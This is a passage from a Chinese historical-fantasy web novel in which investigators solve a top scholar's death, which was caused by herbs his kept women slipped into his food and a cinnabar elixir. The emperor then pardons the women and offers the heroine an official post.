淳于霜并不气馁,也不在意身后某人略微缓和的脸色,只是十分淡定的让他去看那些摆在桌子上的杂草。 毕竟是自己干了一辈子的活计,老大夫对这些药草表现出了超乎寻常的灵活。拿起来闻了闻,又拽掉一片叶子准备塞进嘴里尝尝。 “李大夫!” 芸娘脱口而出,在周围人异样的眼神里咽下去后半截话。 “……没什么。” 李大夫露出个安抚的笑。 “放心,我这老头子跟草药纠缠一辈子了,这点儿药草还是没事儿。” 仔细咀嚼了片刻,李大夫十分笃定的开口。 “这是‘勿落草’,确实是常见的草药,不过一般都长在深山之中,怪不得有些焉黄。” “李老,这草有毒吗?” “当然没有!” 李大夫十分笃定。 “这还是一味强身健体的药草,怎么会有毒呢?” 包括木老在内的所有人都忍不住松了口气。毕竟在他们这地界,要是长了毒草,那可就操心了。家里还有小孩子在呢。 不过淳于霜和应九阙等人却没有露出意外的表情,只是让他接着看其他的杂草。 李大夫仔细查看了一遍,逐一给出了结论。 “‘风杼草’,‘七星花’,‘三叶落’,‘小林枝’……” “这些草药都没毒。” 等李大夫给出最终结论后,大家的脸色都缓和了许多。不过李大夫的表情却有些迟疑。 他怎么觉得这些草药的名字有些熟悉呢? 虽说这些草药单个来说都没什么问题,但加在一起就成了问题。这么多补血益气的草药,要是煮成一锅汤给人喝了,短时间里是没问题,可要是长时间喝了…… 等等!他好像想起来这些药草的名字为什么那么熟悉了!那不是三月之前那外地来的倒霉客商中的毒吗? “老朽想起来了!这些药材单个吃来都没问题,但若是混在一起长期喝,会让身体迅速强壮起来,只不过这都是表面,表面啊!老木,你记不记得三月之前那突然倒下被送到我那里的北地客商?就因为不懂医理,以为补药就能随便喝,自己瞎胡闹喝了一个月大补汤,差点儿把自己给补死那个?” 第十九章 都怪我举止轻浮! 李大夫这么一说,木老也想起来了,当初那件事儿闹得还挺大。那客商在路边吃混沌,吃着吃着突然就开始大口吐血,把卖混沌的老王给吓得不停看自己那口大锅,还以为谁在自己锅里投毒了呢! 那会儿乱的很,谁都不敢吃了,赶紧把客商送到李大夫那儿。回春堂看病的人多,七嘴八舌的,大半个胡同的人都出去看热闹去了。李大夫诊了半天脉,发现对方还真是中毒了! 可是那卖相古怪的很,咋一看没什么毛病,仔细看会发现呈现中毒状态,这可真是奇了怪了。李大夫将那半碗被血染红的馄饨翻来覆去的检查,也没有毒啊! 再看看抖得筛糠一样的老王,这必须得把事情真相弄清楚了,毕竟老王家的馄饨可是他一家子的衣食着落啊。 仔细盘查了那客商常吃的东西之后,李大夫都被气笑了!那客商竟然把补药当水喝!随身还带着一竹筒,渴了就喝! “你是不是蠢?!谁家把药当水喝?!无病无痛的,喝什么药啊!你又不是有病!而且这里面怎么这么多补气益血的?‘风杼草’,‘七星花’,‘三叶落’,‘小林枝’……” “你怎么不把药铺子搬回去?!” 那七尺多高的高大汉子哭的鼻子一把泪一把,那叫一个稀里哗啦。 “我,我这不是小时候过得苦,大夫说我内里亏空得很,得多补补身子嘛!以前是没钱,现在好不容易有钱了,所以就想着多吃点儿补药……” “那也不是这么个补法!是药三分毒!你就算想补身体,药补不如食补,不能这么作践自己的身体啊!” 后来李大夫花了很长时间才把那倒霉催的客商治好,因为这事儿实在太过奇葩,所以那日在场的桐花巷人大多数都知道这事儿,大家也都长了记性,不是所有的补药都得大量吃,还是得多走动走动,才能强身健体啊。 经过这一回忆,木老李大夫等人的表情有些古怪,但什么都没说。只是淳于霜却没有将这绝好的时机放过,她紧跟着提问。 “所以,那么多人都知道这些草药不能混在一起吃,不知几位娘子知不知道?” “……我们又不是桐花巷的人,怎么可能会知道这个?而且,我们也没吃这东西。” 拂柳下意识反驳,可淳于霜却紧随其后。 “虽然你不是,其他几位姑娘也不是桐花巷人,可金花姑娘和芸娘姑娘却是。当日那么多桐花巷人都知道,金花姑娘,芸娘姑娘,不要告诉我你们什么都没听过?” “……” “淳于大人到底想问什么?就算我们听说过,那些草药什么的,我们一介女子,怎么可能懂?我们还以为这些都是杂草,连草药都不识得,能干什么?” “这倒是。” 李大夫忍不住开口。 “大人可别小瞧了辨别草药,这可是每个大夫必须要学的基本功,没个七八年苦学,都不能说自己识百草。这几位娘子,可不是懂医理的人啊。” 淳于霜对医者还是十分尊敬的,这会儿摇了摇头。 “虽然不是医者学徒,可这几位姑娘聪明啊!她们不需要懂医理,只需要知道这些草药长什么样子就成。甚至为了避免被别人知道,她们都没有在京城的药铺子里询问。” “那她们怎么知道这些草药长什么样子?怎么把这些草药种在自己院子里?” 这会儿大家其实都已经明白,淳于霜就是怀疑这几个姑娘密谋害死了余朗,可这得有证据啊! 万众瞩目之下,魏渊适时开口。 “我已去了金花姑娘所在的村子打听,她已经故去的父亲不仅仅是个猎户,还略懂医理,会将在深山中挖到的草药炮制好卖给药铺子。且,我已经派人去找那个北地客商。据他当日落脚的客栈老板回忆,当初确实有带着帷帽的姑娘前来寻找,似乎问了什么事,那客商还把自己随身携带的一包药草给了对方。” “那客商走的不远,最多两日,就能带回来。” 淳于霜紧随其后。 “所以,几位姑娘,还需要我把话说的更明吗?” 九位女子此刻均脸色惨白,她们倒是还想为自己辩驳,但好像也没什么好说的了。 短暂的沉默似乎沉淀着刻骨的伤悲,在这沉默之中,周围那些原本只是来做个证的人这会儿也明白过来,原来凶手,好像是这群如花似玉的姑娘。木老和李大夫对视一眼,眼中都有纠结迟疑。这么好的姑娘,如果真坐牢甚至砍头,多可惜啊。而且那余朗,真不是他们这群老不死的说小话,那可不像个好人呐! 九阙这会儿却溜溜达达的来到了身后的房门口,听着里面的细微动静,叹口气。 “芸娘姐姐,余朗确实不是个好人,不过如果你们真想杀他,在他考中状元之前动手不是更简单吗?还不容易引起别人的注意,为何非得在这个节骨眼上动手?” 面如死灰的芸娘没吭声,不过这也在九阙的意料之中。 “我想,是因为你,或者说你们有不得不动手的理由吧?” 见众人还是不吭声,九阙只好言明厉害关系。 “我想说的是,几位姐姐,余朗虽死,但你们未必要判死刑,我朝律法有言,若是刑犯有主动坦白之举,可酌情减轻刑法。几位姐姐就算不为了自己,也得为了你们在意之人吧?” 几个女子彼此对视一眼,却不太信这话。 就在僵持之际,一个小小的身影突然撞开房门冲了出来,脸上沾染的满是泪痕。 “别抓我姐姐!都是我的错!大人,你们把我抓起来吧!都是因为我,姐姐们都是为了保护我才这么做的……” “我才是罪人!如果不是我生性放荡举止轻浮勾引余朗,也不会造成需这样的后果!我就是淫妇,我是个不懂事不听话的小孩,我应该受到惩罚!把我抓走吧!求求你们了!” 九阙的眉头顿时皱紧了。 说话之人,看起来才十岁出头,还是个小姑娘! 第二十章 真相 不仅仅是九阙,在场听见这话的人都皱紧了眉头,心里很不是滋味儿。这么大的小姑娘,都是家里捧着长大的,还是个天真无邪的姑娘,怎么会这么说自己? 而听见这些话的芸娘几人更是心痛难忍。 芸娘更是一把扑过去,将那个小姑娘紧紧揽在怀里,痛苦不堪。 “蓉儿,这不是你的错,你怎么能这么说呢?你只是个孩子啊!都是余朗那畜生!他是乱说的!这和你有什么关系?!” “可如果不是我,不是我坏,姐姐就不用这么做了,我才是最坏最坏的!我要是听他的话,姐姐们就不用这么辛苦了……” 现场一片哭声。 九阙等人都不是傻子,只听她们刚刚那对话就能猜出来大致情况,再看看蓉儿小姑娘虽小却堪称绝色的脸,脸色都不太好看。 那余朗养着九个外室,看来是个好色之人,且还肖想跟自己毫无关系的贵人小姐夫人,显然不是什么好人。蓉儿小姑娘长得这般漂亮,虽然年纪还小,但余朗那样人面兽心的东西,不会是…… 想到这里,九阙等人像是吃了苍蝇一样难受,虽然早就知道余朗这样的人死了都不亏,但知道他还能更恶心之后,真是,真是叫人…… 这会儿现场没一个人开口说话,只有女孩子们轻声啜泣的声音。蓉儿强撑着擦干了眼泪,然后忐忑的表示。 “大人们,我们主动坦白,能不能减轻刑罚?” “……” 见所有人都回头盯着自己,甚至还面带祈求,九阙都懵逼了。这都看着自己做什么?难道她有那么狠心不成? 她这回出来查案,只是因为这是老皇帝下达的任务,不得不查清楚,但当苦主有苦衷,也不一定非得把人家置于死地啊。 “你们,你们实话实说了吧,若是在情理之中,律法也会酌情处理。” 听到这话,众女子彼此对视一眼,最终也还是无法,只能开口了。 “我是命贱,实在是没法子才做了余朗的外室,虽然难免会被人在背后戳脊梁骨,但我也认命。可我这几位姐妹不是啊!她们中,有人本来该有不一样的人生!偏偏被余朗看中,就此沦为外室!大人,外室能有什么好日子过?我也不过只能待在这小院子里,等着余朗有空来,没空就只能坐牢一样待着。等到哪一日年老色衰,就会被抛弃。” “大人,您以为,余朗只会有我等这几个外室吗?他如今已年近四十,前些年自然有其他外室,那些姐姐也是好人家的姑娘,可一旦年老色衰,就会莫名其妙的消失,谁知道被他弄到什么腌臜地方去。做他这样人的外室,下场就是这样凄惨……” 金花擦了一把眼泪,神情悲愤怨恨,恨不得将对方再杀一遍! “但这个世道,我们就算知道对方不是良人又如何?还不是得小心翼翼伺候着?可是,他千不该万不该,对蓉儿下手!她还只是个孩子啊!那个畜生,怎么就下得了手!” 九阙面露不忍,那混蛋不会已经…… “若不是我不小心碰见蓉儿伤心,还不知道那个畜生总是言语打击蓉儿。蓉儿还是个孩子,跟着我一起做别人家的外室本来就受人歧视,平日里性子也软得很。那余朗说她,说她那些恶心话,叫她郁郁寡欢,竟心生死志!” 芸娘颤抖着嘴唇开口。 “我只有蓉儿这一个亲人了,她那么小的时候我就把她抱在怀里养大,跟我的女儿也没什么区别!那个畜生,竟要对一个十岁的孩子动手!他根本不配活着!更可恨的是,像他这样罔顾人伦人面兽心的畜生,竟然一路考过,将要做官了!他只是个举人的时候就能做这些恶心事儿而且把自己摘的一干二净,要真是做了官,还不得干更多坏事?” 拂柳轻咳几声,接着开口。 “在余朗心里,我们这些女人就是愚蠢的玩物,因为我们天生就没他聪明。所以,将我们分散安置在这京城中,他就觉得无碍,甚至将我们安置在相近的地方也觉得无所谓。” “他一辈子看不起女人,所以最终也会死在女人手里。几位大人猜的不错,他确实是被我们弄死,就是用那些草药。” “余朗一向会伪装,就算来我们这里,也是静悄悄的,且表现得儒雅守礼,还会和别人打招呼,叫大家觉得他似乎是个好人。但实际上,他最看不起平民百姓,三个月前的事儿闹得那样大,他却丝毫不知,皆是因为他打从心底里就看不起我们这等平民百姓。” “我们不敢在城中药草铺子买药,因为若是最终事发,可能会拖累无辜的街坊。幸而金花从小跟着父母长大,略略识得些药草。花费了整整一年时间,才终于集齐里面的几种。余朗看不起我等,但为人相当谨慎,所以,我们只能分开种植,尽量每日在他的饭食里掺杂一些药草,积少成多,希望能有用。” “其实见他久久都没有反应,还屡屡做出恶心人之事,我心里有些着急。那日他去参加寿宴,因为担心殿上失仪,他在我们这里吃的东西多。这样的机会不会再多了,所以我们几个,多放了一些药草。” 拂柳虽然举止文弱,但实际上性子最为坚韧,这会儿脸上蒙上一层红晕,很难说是不是因为大仇得报心情好了,比以往多了一层生机。 她咬了咬舌尖,让自己保持清醒。 “我也没想到会奏效,他竟然真的死了。唯一感到不妥当的,是让那位无辜的探花郎背了一重黑锅。应县主,这一切都是我谋划的都是我的错,请你放过那些无辜的人吧。还有那位探花郎,本应有大好人生,而且还能脱离那畜生,何必搭上自己的后半辈子?” 听到这里,九阙叹了口气,随即想到一处。余朗养外室养了这么长时间,而且现在都有九个这么多,以前岂不是更多?可为何,这些姐姐妹妹们,一个有孕的都无? 探花郎还是自己蹦出来的? 第二十一章 最后的证据 当听到这个疑问的时候,拂柳露出一个略显狡黠的笑容,竟显得有些调皮。 “余朗一直看不起我们这些出身普通的女子,认为让我们生下他的孩子是一种错误,所以一直都有给我们吃药。可是,他怎么不想想,我们又岂会愿意给他生孩子?” “有一位姐姐,叫绿珠的,之前是翠云楼的红牌,被他哄骗出来,处了几年又要把她卖回去,绿珠姐姐性子烈,上吊了。不过上吊之前给了他一份大礼!翠云楼的绝嗣药举世闻名,那余朗,此生都不会再有自己的孩子了!” “这件事,余朗自己知道吗?” “或许知道,又或许不知道。总之,他是不愿意承认自己竟然会被一直看不起的女子算计至此的。” 九阙琢磨了会儿余朗那人,既然天性凉薄,之前在寿宴上又为何会替探花郎说情?说不定正是因为认出了他,且又知道这是自己唯一的儿子,所以才会出手相助。 不过,现在说什么都晚了。余朗已死,且,还是死在自己的恶行之下。 这会儿,旁边本是来作证的李大夫等人都忍不住目露同情,余朗是不是个好人,他们这些活了几十岁的老东西又岂会不知道?但是,国法难容罪责啊…… 即便如此,李大夫和木老都想为她们求个情,本来都是老人家的姑娘,杀余朗又是为了救更小的孩子,都是些好人啊。 听到周围一连串的求情声,九阙觉得头疼。 “不是,我们从头到尾都没说过就是她们杀了余朗吧?充其量是从犯。” “啊?” 众人都懵了。 看一眼淳于霜,对方十分上道。 “余朗并不是因为那些药物而死,你们虽然培养了大部分药草,但其中还有相当一部分重要的并没有成功找出来对吧?” “是……” 金花有些茫然,但本能觉得这似乎是条生路。 “因为其中有些太过珍贵,我在山中找不到……” “余朗的直接死因,是临死之前吃的丹药,丹药里虽然有大量补药,但含有更多的朱砂,朱砂过量食用,有致死风险。那时候他本来就中了一刀身体虚弱,偏偏自作聪明吃了丹药,才会致死。你们平日里给他吃的药,只会让他肝气郁结,心绪急躁。这些,谢恩粮生可以证明。” 谢明尘点点头,身为医者,这点操守他还是有的。就算很同情这些女子,但也不会再这种事情上说谎。 九阙悄悄打了个哈欠。吃那种用大量重金属锻造而成的丹药,还真是嫌弃自己死的不够快。尤其是朱砂,那东西吃多了会造成心律失常,说不定之前诊断出来的心悸就是因为这个。 得到多方证明的拂柳几人彼此对视一眼,禁不住露出惊喜的表情。但淳于霜接下来的话还是让她们不由得紧张。 “但你们确实有主观谋害余朗的意图,也是犯罪,现在就看上面的大人,以及余朗的家人会不会追究,总之,还是会受些罪。你们最好做个心理准备。” 九个,不是,是十个姑娘对此倒是早有准备,她们对着九阙等人团团行了个礼。 春风微拂下,这些姑娘们柔软的裙摆在空中划过一个轻微的弧度,深深下拜,就像一朵朵开在原野中的花。 “我等扣谢诸位——” 即便身处阿鼻,却依旧一心向善,扶老助弱,这可不是普通人能做到的。 人性善恶,平常时候不会轻易显露,除非在绝境,才会一览无余。 因此对这些不甘命运不断挣扎的姑娘,九阙是相当敬佩的。 “不必谢我,等尘埃落定之后再说吧。” 应九阙率先走了出去,淳于霜几个跟上,直接去了那卖丹药的铺子。那是一个叫‘青云观’的小道观,位于南郊十里处的一个空地上。原本看起来灰扑扑的,不太显眼,没想到那要命的丹药竟然就是从这里流出去的。 只是刚能看到道观的整体模样,九阙就发现道观里冒出来一缕缕的黑色浓烟。 魏渊脸一黑,那里可是有他的属下驻守! 一个闪身人就来到了道观门前,九阙眼睁睁看着他一脚踹开紧闭的大门,眼睛都睁大了。这人的力气可真大! 等众人来到门前时,魏渊已经一手一个拖着俩满身灰尘的倒霉蛋跑了出来。 谢明尘立刻上前检查,发现两人还有气的时候松了口气,拿出银针朝着穴道扎了两下,就把人给扎醒了。 “……大人……” 其中一个不停呛咳,脸色十分羞愧。他一醒来就知道大事不好,自己奉命守好道观,却连怎么晕过去的都不知道,肯定是误了大事! 九阙倒是说了句公道话。 “只要人活着,就行。” 魏渊本来脸色有些难看,听了应九阙的话倒是没再给他们脸色看。倒不是他生性凉薄,只是自己手底下的人犯了错,他这个做上司的,总得拿出个态度来。 只不过,这线索倒是断了。 他刚刚进去的时候,那些瓶瓶罐罐的丹药都被扔进了火盆,里面的人都跑的一个不剩,完全就是个空壳。而且这道观用木头搭建,火势这会儿太大,已经灭不了火了。 这可是义父抹着脸给自己找来的差事,一直都顺顺利利的,却偏偏在最后一重出了岔子! 就在大家满是遗憾的时候,另一个受伤比较严重的市侍卫这会儿终于能够开口,立刻从怀里掏出来一把有燃烧痕迹的平安符。 “大,大人咳咳咳!卑职在晕过去的时候抓了一把地上的平安符,不知道这有用不?” 谢明尘立刻打开查验,发现和余朗吃的那丹药一般无二,迅速点头。 九阙也松了口气。 “当然有用了!” 至少这两位仁兄不会被苛责了,没有西瓜,有芝麻也不错啊。 将这东西妥善收拾好,众人就面临着一个新的问题。 那啥,陛下给他们破案的时间是十天没错吧?现在过去多长时间了?好像才一天多? 呃…… 想起那些还准备在后期暗搓搓下手的人,九阙就想为他们感到头疼。 阿弥陀佛,允悲。 第二十二章 禀明案情 几人彼此看了看,其实心里都有些高兴。毕竟这可是在陛下面前露脸的好机会。尤其是淳于霜魏渊这样急需要一场胜利给自己增加权利场上砝码的人,更是由衷高兴。 只有九阙,觉得麻烦。 进宫之后似乎有很多限制?她之前就在那里住了一晚,就看见了很多时刻都在跪拜的宫人,身为一个长在红旗下的新时代青年,九阙都替他们感到膝盖疼。 但这是这个世界的规则,她要是现在冲出去说什么‘大家都是一样的人何必要跪拜个不停’之类的傻缺话,那些宫人们一定第一个冲出来把她绳之以法。但是换句话说,宫里的饭菜那是真好吃啊,为了不辜负那些御厨们辛苦做的饭菜,她是不是应该多去见见老皇帝? 就是不知道老皇帝会不会顺势请她吃饭…… 只是还没等九阙纠结完,早就得到消息的老皇帝已经派人来找他们。来的也不是外人,正是魏渊的义父九福。 这位得势多年的大内监笑眯眯的,看起来很是和蔼可亲,只是从来没人真的把他当成和蔼可亲的老人对待。这可是陛下最得用的爪牙,真把他看低,那才是找死呢。 就像这会儿,在场这么多人,不管心里怎么想的,都把自己的姿态摆得很低。 “都起来吧,累了一天了,别这么拘束。” 九福笑眯眯的示意大家起身,那双微微眯起的眼睛在众人身上一带而过,最终落在了安静的九阙身上。这可是位捉摸不定的主,直到现在,九福都不确定陛下为何独独对一个素未谋面的女子这般看重。 他一向是个小心谨慎的人,这会儿也不肯轻易得罪人。 “见过瑞安县主。县主查案辛苦了。” 九阙有些惊讶这位最得用的大内监竟会主动跟自己说话,她虽然被封了个县主,但在九福面前,郡主也不够看呐,毕竟郡主不可能日日待在老皇帝身边。 这会儿,顶着众人异样的眼神,九阙落落大方的跟人家打招呼。 “不辛苦,为人……仁义之君做事,是我应该做的。倒是您,这乍暖还寒时候,多穿件衣服才是,有些单薄了。不知您来这是……” 九福眸中飞快的闪过一丝诧异,他见过无数人表面恭敬实则鄙夷的态度,也见过一些人想引起他的注意,表现出来的毫不在意,试图用恭敬的态度让自己脱颖而出,但那些都太假了,假的他都不忍直视。 可这位年纪轻轻的县主,还真是把他当成个一般人对待。 身体残缺了,心里就会格外敏感些,九福很确定自己没有感觉错。现在想想底下那些小家伙们说的,这位县主总会在不经意间尽量让他们松快些的事儿,竟是真的。 虽然嘴上没说,但九福的态度却是又随和了半分。 “陛下有召,让诸位进宫,将此案了结。” 原来是这事儿,本来就准备进宫,这倒是也不晚。 于是一行人就这么进了宫。 皇宫依旧是那么金碧辉煌,就连老皇帝也还是金光闪闪的。唔,或许是因为当皇帝之前景泰帝是个地里扒食儿的,所以当了皇帝之后,什么金碧辉煌弄什么,穿的也像个金光闪闪的大元宝。 当然了,这也是他最受言官诟病的一点,不过或许因为九阙是个凡人,她觉得这还怪好看的,当皇帝嘛,都已经是天下之主了,要是还不享受世上最好的,岂不是傻蛋? 【那些酸唧唧的文官酸儒们总说老皇帝奢靡成性,我怎么觉得这龙袍还怪好看的?眼光很好嘛!哟!还是金线绣的,不赖不赖!】 原本还想端着个姿态的老皇帝心里都乐开了花。那些个酸儒们懂什么啊,还说自己奢靡,还当朝劝谏过。呸!自己贪了那么多,还有脸说清清白白的自己,真是不害臊! 他老人家辛苦了大半辈子,为了这天下殚精竭虑,都老迈的不成了,享受享受怎么了? 倒是也有臣子说句公道话,不过,谁知道他们那忠君爱国的皮子底下是不是一颗真心? 但应九阙就不一样了,这娃子心里想的会是假话吗?瞧瞧这会儿还装的小心翼翼呢,其实最是个好人!而且还有品味!这金丝龙袍,还是自己指点的呢。 好人呐,就因为都是好人,所以才会审美一致。 就这么着,九阙在景泰帝心里成了第一等的老实人好人。 “咳咳。这案子查的怎么样了?” 九阙是打定主意让淳于他们几个出头,因此自己也不说话。 淳于霜感激她的好意,于是用最简洁且尽量不带个人感情色彩的语调将事情真相一一说了出来。 “……外室九人,用草药给余朗补身体……然余朗自顾自服用了补气益血丹药,刺激了心脏,最终不治而亡。” 淳于冷静的声音停下已经很长时间了,但高高在上的皇帝陛下却没有说话,空旷的宫殿内,好像只有自己的心跳声在逐渐变大。 许久之后,景泰帝听不出好恶的声音响起。 “所以那余朗,是咎由自取?朕的状元,就是这么一个无德无才小人?” 大家都沉默了,这话让人怎么接?他们倒是想说是的,但这也不能说的如此直白啊。而且听这话的意思,难道陛下对余朗还有什么好印象? 九阙百无聊赖。 【不是吧不是吧?老皇帝不会对余朗是真爱吧?不过好像也是,如果不是真爱,也不会点他当状元了。啧啧啧,明明探花郎年轻又俊俏,比他好的多。】 “……” 老皇帝险些被噎死,他,谁说他对余朗是真爱了?他只要谢谢余朗那恬不知耻的模样都觉得恶心。他老人家就只是单纯的问一问而已! 不过,九阙为什么对那个探花念念不忘?不会是看上人家了吧? 景泰帝摸着自己的胡子,若有所思。 “嗯……辛探花呢?余朗毕竟是他生父,这种事,他得知情。” 于是被关起来的辛探花就这么水灵灵的换了身衣裳带到众人面前,本来还有些疑惑的探花郎在听到事情始末之后脸都要绿了! 九阙侧着耳朵听了听,很是笃定。 【嗯,余探花还真是恨的牙痒痒啊!啧啧啧,余朗做人真够失败的。】 第二十三章 会把他好好安葬! 没错,辛探花这会儿恨得直咬牙呢! 把一口白牙咬的嘎吱作响,辛探花控制了自己好一会儿,才勉强不带情感偏向的开口。 “启禀陛下,微臣是余朗唯一子嗣,他死的不太光彩,而且,跟其他人都没关系,因此微臣不准备追究,还请陛下允许此时就此作罢吧!那余朗,随便,不,微臣会将他好!好!安!葬!” 呃…… 辛探花你最后那句话没有控制住自己啊,这不是恨得厉害吗?可想而知,最后肯定不会给余朗找个好墓地安葬啊!而且,人家作为亲生儿子都不准备追究了,他们还追查个什么? 老皇帝有些无语。 但也从侧面证明了余朗有多么不得人心。自己的儿子恨不得他去死,自己的妾室更是已经动手了,只是余朗最后也算做了件好事儿,没有直接死在辛探花或者那几个妾室手里,自己嘎嘣死了,倒是不需要多费神。 不过,临了临了,景泰帝的疑心病又犯了,那些外室们虽然可怜,但以妾室之身谋害主君,私德上说不太过去啊。 还有淳于霜应九阙两个,同为女子,不会因为同情就从中插手悄悄抹平她们做的事儿? 即便刚刚淳于霜说的那一大串话里一丁点儿都没有显示出来,但景泰帝偏偏这么想了。 【说起来,我要不要给拂柳她们几个求求情?】 景泰帝眉梢微微一动,有些好奇应九阙会怎么办。 【不过,老皇帝又不是傻子,这明显就是余朗的错啊。嘶,也难说啊,毕竟老皇帝是个男的。之前听说有些男人会站在男性的联盟上审视女性,哪怕不是女人的错,但因为她们生为女人,就有大错。淳于不就是这样吗?明明能力出众,却被那些老男人一而再再而三的压下去,那些功绩还都被夺走了,要不然,现在也不会只是一个区区司务。】 放肆!朕又岂会是那样肤浅的人?如果真是这样,朝廷之中怎么可能会有女官? 【不过这点儿倒是不用担心,毕竟老皇帝不是那么眼皮子浅的。啧啧啧,总觉得现在那些当官的都有病啊,昨天还听说现在查户籍都不把女子当人头的。真是有病!给女人们分点儿田地,保准干的那叫一个厉害!妇女能抵半边天懂不懂?怪不得现在这生产力这么低下,木老还说城郊的农户们现在还在用老式的笨犁,曲辕犁用着不好吗?速度能提高两倍不止哎!算了算了,我只是个女人,工部又不会找我当官,当官了意见也不会被采用,操心这个干啥呢,还不如想想接下来去哪儿玩一圈儿……】 别啊! 不愧是当皇帝的人,景泰帝迅速从这一连串心声中听到了重点,‘曲辕犁’?虽然没听说过,但那肯定是神仙世界里很厉害的农具吧?听应九阙的意思,这会让耕地速度提高两倍不止? 现在正是农耕时节,要是能大量采用这东西,岂不是可以让耕种速度大大提高?甚至可以趁机多开采些土地! 不过,看着一脸无辜毫无所觉的应九阙,景泰帝迅速冷静下来。冷静冷静,现在不是着急的时候,贸然开口肯定会惊动对方,万一来个阴谋论直接跑了岂不是坏事儿? 这样想着,景泰帝看淳于霜的眼神那叫一个和蔼可亲。 “淳于霜,你这次办的很好,出事细致,出手果断,很好。” 淳于有些激动,她这次之所以巴的那么紧,不就是想让陛下看见自己的努力,从而让她能够更好的展示自己吗? “多谢陛下赞誉,微臣一定再接再厉,不负陛下期待!” 景泰帝点点头,又看看魏渊和谢明尘,既然都夸了一个了,剩下的顺便也都加上,于是一个个夸了个遍。 就算以九福的城府,这会儿看着义子被夸赞,眼睛都忍不住亮了几分。 紧接着,景泰帝干脆赦免了辛探花和那九个外室,至于他们之间要怎么牵扯,景泰帝是不准备管了。将淳于霜几个纷纷升了官之后,景泰帝看着应九阙,陷入了纠结之中。 嗯,其他的都好说,本来就有官职。应九阙怎么办呢?她之前被封了县主,名义上已经是宗室女,可要是继续封赏宗室身份,将其束之高阁,不说别人,就是景泰帝自己都觉得可惜。毕竟这次查案过程中,表现最亮眼的就是应九阙了,总不能别人都升官发财,她就只升个没什么用的宗室身份吧? 这要是让其他宗室女听见,都不得哭死。 不得不说,这人啊,要是看某个人顺眼,那是从头发丝儿到脚后跟都顺眼得很。景泰帝看应九阙很顺眼,所以这会儿在绞尽脑汁的思考该给应九阙弄个什么官职好。正纠结着呢,就听见外面传来一阵凄凄惨惨的哭声,十分惹人心烦。 九福轻手轻脚的出去看了看,回来的时候一脸难色。 “陛下,是那位新上任的方巡城御史,呃,他又被打了,这回掉了两颗大牙,话都说不清了。” “又被打了?” 景泰帝那叫一个头疼,他是马背上夺得天下,自己的文化素养不高,不过好在渐渐起势的时候也比较注意这点儿,因此一直找人教导,就这还有时候控制不住自己身上的匪气呢!那些跟着他打天下的老兄弟们就更不必说了,粗鲁的很。 更要命的是,因为乱世之中过得苦,对自家的子弟那叫一个疼爱,都有些溺爱了。以至于得用的年轻子弟那是一个巴掌都数得过来,那些个闲散纨绔子弟,倒是数也数不清。年纪大些的倒是还好,总算是懂事了,但是那些个小的,被溺爱的不成样子。 从建国以来,那些个小纨绔们十天里有九个半都在惹是生非。寻衅滋事都是小事儿了,有时候波及到百姓才叫人头疼。 巡城御史一职自古就有,只是品阶不高,只有六品。这是哪儿,这可是皇城啊!掉下块儿转头都可能砸中几个三品官,去去六品官,还不是谁都能踩一脚? 这不,开春以来都已经换了仨巡城御史了,都是被那些个混账东西们私底下揍怕,宁愿辞官归老都不想再当那憋屈不已的巡城御史的。 可那些个顽劣家伙们都是老伙计们的心尖尖儿,要是一味放着不管,以后真闯了大祸,难道要宰了? 啧,头疼,真心头疼啊…… 咦?等等! 景泰帝慢慢将眼神放在了表面温柔谦恭实则百无聊赖已经在默默点菜的应九阙身上。 第二十四章 那你们去试试巡街? 身份上,她是新封的县主,不行还能再升升,宗室女的身份还是很够格的。性情上,也算路见不平会拔刀相助那一款,要不然也不会如此尽心竭力的查案子。手段上,该出手时就出手,之前寿宴上上一转头砸碎刺客脑袋的样子景泰帝还记忆尤深呢。 最最重要的是,虽然前面那些巡城御史确实很可怜,但人心都是偏的嘛,一边是没什么印象的巡城御史,一边是老伙计们家里的孩子,景泰帝不由得就有点儿偏向。这也是导致那些纨绔们越来越过分的原因。 可现在把应九阙摆在一边,景泰帝觉得自己肯定会偏向九阙这边,无他,这可是个好孩子!跟那些纨绔们可不一样!而且也能顺便靠听应九阙的心声看看京城是不是臣子们说的模样。身处高位者就是这样,总是对周围的一切报以怀疑的态度。 现在,他不用怕了,因为有一个实心眼儿的应九阙在! “九阙啊……” 不知怎的,应九阙看着笑眯眯的景泰帝,觉得自己后背有点儿凉。她怎么觉得自己有种不太好的预感? 景泰帝语气十分温柔,并且诚恳。 “有没有兴趣当个官儿?” “啊?” 让应九阙当官这事儿,本人愿意不愿意不说,反正朝堂上是快吵翻天了! 之前让应九阙一个女子负责查案子就已经让众人很不爽了,不过应九阙做得好,两天之内就将事情解决,也算是不辜负陛下的期待。但,不是说当初让应九阙查案子只是权宜之计吗?为什么现在又要让她做官了?还一做就是六品官! 要知道就算是三甲出身,初次授官也只有正六品!应九阙一个区区女子,何德何能?! 景泰帝不想听他们絮叨,结果下了朝之后还追到养身殿来了,只能黑着脸继续听他们絮叨。 “陛下!应九阙不过一届女子!何德何能当得起六品巡城御史?!这不合朝廷律法啊……” “是啊陛下!这朝堂之中这么多有能之士,她一个什么都不懂的女子,怎能担当大任?” “这恐怕会让我等臣子心寒啊……” 总之,说什么的都有。要知道这朝中向来都是一个萝卜一个坑,虽然官位很多,但是等着做官的人同样很多。别的不说,他们这些做官的,哪个没有看重的年轻子弟?嗷嗷待哺啊这是! 这么好的机会,凭什么不给他们家的年轻子弟,而是给一个乳臭未干的黄毛丫头?!一个臭丫头而已,安安生生的在家里等着嫁人生子相夫教子不就成了?非得跟他们抢,能抢的过吗? 总之,这群老少爷们恨得眼珠子直充血,一心想把敢在男人堆里争权夺利的女人挤出去,再顺势踩上一万只脚,叫她永不超生才好。 景泰帝脑袋瓜子嗡嗡直响,“啪”的一下一拍龙案,那些争的脸红脖子粗的臣子们终于想到自己御前失仪,连忙请罪。 “别的不说,应九阙短短两日之内就将余朗的案子查的一清二楚,难道比其他人差了?” “可那也不是她自己一个人查出来的,不还有其他好几个吗?还有那位魏渊,可是,可是九……” 说到这个名字的时候,那官员觉得后脑勺微微一凉,可抬起头来,对上的只有九福大内监笑眯眯的慈祥表情,那叫一个瘆人啊。 于是他本来想说什么,被这个表情给吓忘了。 一个下去了,另外的勇士接二连三出现,将应九阙批的那叫个一文不值。 景泰帝这会儿是真的不耐烦了。 “那也是她的本事!” 景泰帝以前不觉得自己这些臣子们狭隘,可现在这么一看,还真是目光短浅。一味将出类拔萃的女子们拉下来有什么用?重点难道不是让自己更出色吗? 转而又道。 “既然诸位爱卿觉得应九阙当不得这个巡城御史,那倒是给朕说出来几个愿意当的人名?” 